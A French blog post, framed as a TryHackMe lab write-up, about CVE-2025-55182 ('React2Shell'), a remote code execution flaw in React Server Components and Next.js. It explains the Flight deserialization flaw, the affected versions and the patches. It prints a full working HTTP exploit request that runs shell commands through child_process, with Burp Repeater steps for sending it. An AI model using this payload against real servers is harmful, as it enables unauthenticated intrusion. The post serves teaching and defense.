Chargement...

React2Shell, votre app next js est-elle en sécurité ? : Etude de cas

author-img Lauviah VLAVONOU mars 13, 2026
React2Shell

1. Introduction

Dans cet article, nous explorons la vulnérabilité CVE -2025-55182, l’une des plus critiques découvertes en décembre 2025, avec un score CVSS maximal de 10.0. Cette vulnérabilité affecte les composants serveur React (RSC) et les frameworks qui les implémentent, notamment Next.js. Baptisée « React2Shell » par les chercheurs, elle permet l’exécution de code à distance sans authentification via une simple requête HTTP spécialement conçue . Nous examinerons les fondements techniques de cette faille, pourquoi elle est si dangeureuse et comment s’en protéger.

La démonstration pratique est faite à partir de la room TryHackMe : React2Shell – CVE-2025-55182 que nous avons suivie pour ce laboratoire.

Avant d’entrer dans le vif du sujet, l’ avis de sécurité officiel précise que les versions vulnérables sont les suivantes : 19.0, 19.1.0, 19.1.1 et 19.2.0. La vulnérabilité concerne les éléments suivants :

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

Pour protéger vos systèmes, vous devez effectuer une mise à jour vers la version 19.0.1, 19.1.2 ou 19.2.1.

2. Le serveur React et le protocol Flight

Avant de pouvoir cerner la vulnérabilité, il est nécessaire de comprendre l’architecture des composants serveur React. Cette fonctionnalité, introduite dans React 19, permet de rendre les composants côté serveur plutôt que dans le navigateur du client. Celà offre des gains de performance significatifs, car le serveur peut gérer les tâches gourmandes en ressources tout en n’envoyant au client que le rendu.

La communication entre le serveur et le client dans RSC repose sur le protocole React Flight . Ce protocole gère la sérialisation et la désérialisation des données transmises entre le serveur et le client. Lorsqu’un client doit appeler une action serveur, il envoie une requête formatée contenant des données sérialisées que le serveur désérialise et traite.

Le protocole Flight utilise un format de sérialisation spécifique avec des marqueurs de type comme :

  • $@ pour désigner une référence de bloc
  • $B pour désigner une référence Blob
  • Les références peuvent inclure des chemins de propriétés séparés par des deux-points (ex. : $1:constructor:constructor)

C’est dans ce mécanisme de sérialisation que réside la vulnérabilité. Le serveur traite ces références sans vérifier correctement que les propriétés demandées sont bien des exportations légitimes du module concerné.

3. La principale vulnérabilité : CVE -2025-55182

La vulnérabilité CVE-2025-55182 est une faille de sécurité liée à la désérialisation des données entrantes du protocole Flight dans les composants serveur React. Cette vulnérabilité se situe dans une fonction requireModule du package react-server-dom-webpack.

La vulnérabilité CVE-2025-55182 affecte les composants serveur React dans les versions suivantes :

  • React 19.0.0, 19.1.0, 19.1.1 et 19.2.0
  • Les versions de Next.js ≥14.3.0-canary.77, toutes les versions 15.x et 16.x antérieures à l’application du correctif
  • Autres frameworks utilisant RSC : React Router (mode RSC), Waku, Redwood SDK et divers plugins RSC.

Cette vulnérabilité est particulièrement dangereuse car :

  1. Les configurations par défaut sont vulnérables create-next-app : une application Next.js standard créée avec cette configuration est exploitable sans aucune modification du code.
  2. Aucune authentification requise – L’attaque fonctionne sans aucun identifiant.
  3. Haute fiabilité – Les chercheurs en sécurité signalent des taux de réussite d’exploitation proches de 100 %.
  4. Déploiement à grande échelle
    • Les données de Wiz Research montrent que 39 % des environnements cloud contiennent des instances vulnérables

D’après Shodan, plus de 571 000 serveurs publics utilisent des composants React et 444 000 utilisent Next.js. Même si toutes ces versions ne sont pas vulnérables, la surface d’attaque potentielle est immense.

4. Exploitation

Il est maintenant temps d’exploiter cette vulnérabilité. Dans le lab, nous disposons d’une petite application vulnérable codée avec next js, un framework react qui affiche “Hello world!”. Nous utiliserons un payload permettant de visualiser le résultat de l’exécution de la commande dans la réponse du serveur.

Nous utiliserons un payload permettant de visualiser le résultat de l’exécution de la commande dans la réponse du serveur. Le code d’exploitation est reproduit ci-dessous :

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Nous lancerons l’outil Burp Suite pour intercepter les requêtes puis nous utiliserons l’onglet Repeater. Ensuite, il faut cliquer sur le bouton « + » sous Repeater et sélectionner Nouvel onglet HTTP, comme indiqué dans l’image ci-dessous :

Nous allons ensuite coller le code ci dessus dans la session vide comme l’indique l’image et avant d’envoyer le payload, cliquer sur cible non spécifiée pour renseigner l’adresse IP de votre cible ainsi que le port.

Etant donné que notre serveur ne fonctionne pas en HTTPS, veillez à décocher cette case avant d’enregistrer.

Nous sommes maintenant prêts à tester l’envoi de commandes au serveur cible et à vérifier la réponse de ce dernier. La capture d’écran ci-dessous illustre la réponse du serveur lors de l’exécution de la commande date.

L’attaque a fonctionné et on peut remarqué la date encadrée en rouge. De même, nous pouvons continuer à lancer nos attaques d’exécution de code à distance (Remote Code Execution) et ainsi dévoiler des informations sensibles sur le serveur. Si nous remplaçons la commande date par id, nous pouvons récupérer les informations liés à l’utilisateur.

5. Détection

Pour détectcer ces vulnérabilités, plusieurs techniques peuvent être utilisées comme l’écriture de règles spécialisées avec Snort par exemple afin de détecter l’utilisation éventuelle de packages vulnérables (par rapport à leur versions) ou tout aussi l’utilisation de certaines fonctions telles que requireModule.

Cette vulnérabilité est particulièrement intéressante car :

  • Elle ne repose pas sur une injection SQL classique
  • Elle n’est pas une simple XSS
  • Elle exploite une mécanique interne du framework
  • Elle se cache dans une fonctionnalité avancée (Server Components)

Ce genre de faille est typique des frameworks modernes :

plus ils deviennent dynamiques, plus la surface d’attaque augmente.

6. Conclusion

La vulnérabilité CVE-2025-55182 (React2Shell) démontre qu’un mécanisme interne légitime, ici la désérialisation du protocole Flight et le chargement dynamique de modules peut devenir un vecteur critique lorsqu’il n’est pas strictement encadré.

Cette étude de cas rappelle une chose essentielle : utiliser un framework moderne comme Next.js ne dispense pas de comprendre son fonctionnement interne ni de surveiller activement ses dépendances. La sécurité ne se limite pas au code applicatif visible ; elle s’étend à toute la chaîne d’exécution.

En cybersécurité, la maîtrise des abstractions que l’on utilise est déjà une première ligne de défense.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Formez-vous à la cybersécurité avec notre académie et sécurisez votre avenir professionnel. Aidez les entreprises à faire face aux défis croissants de la cybercriminalité.

Newsletter

Recevez chaque semaine nos actualités, conseils d'experts et offres exclusives directement dans votre boîte mail.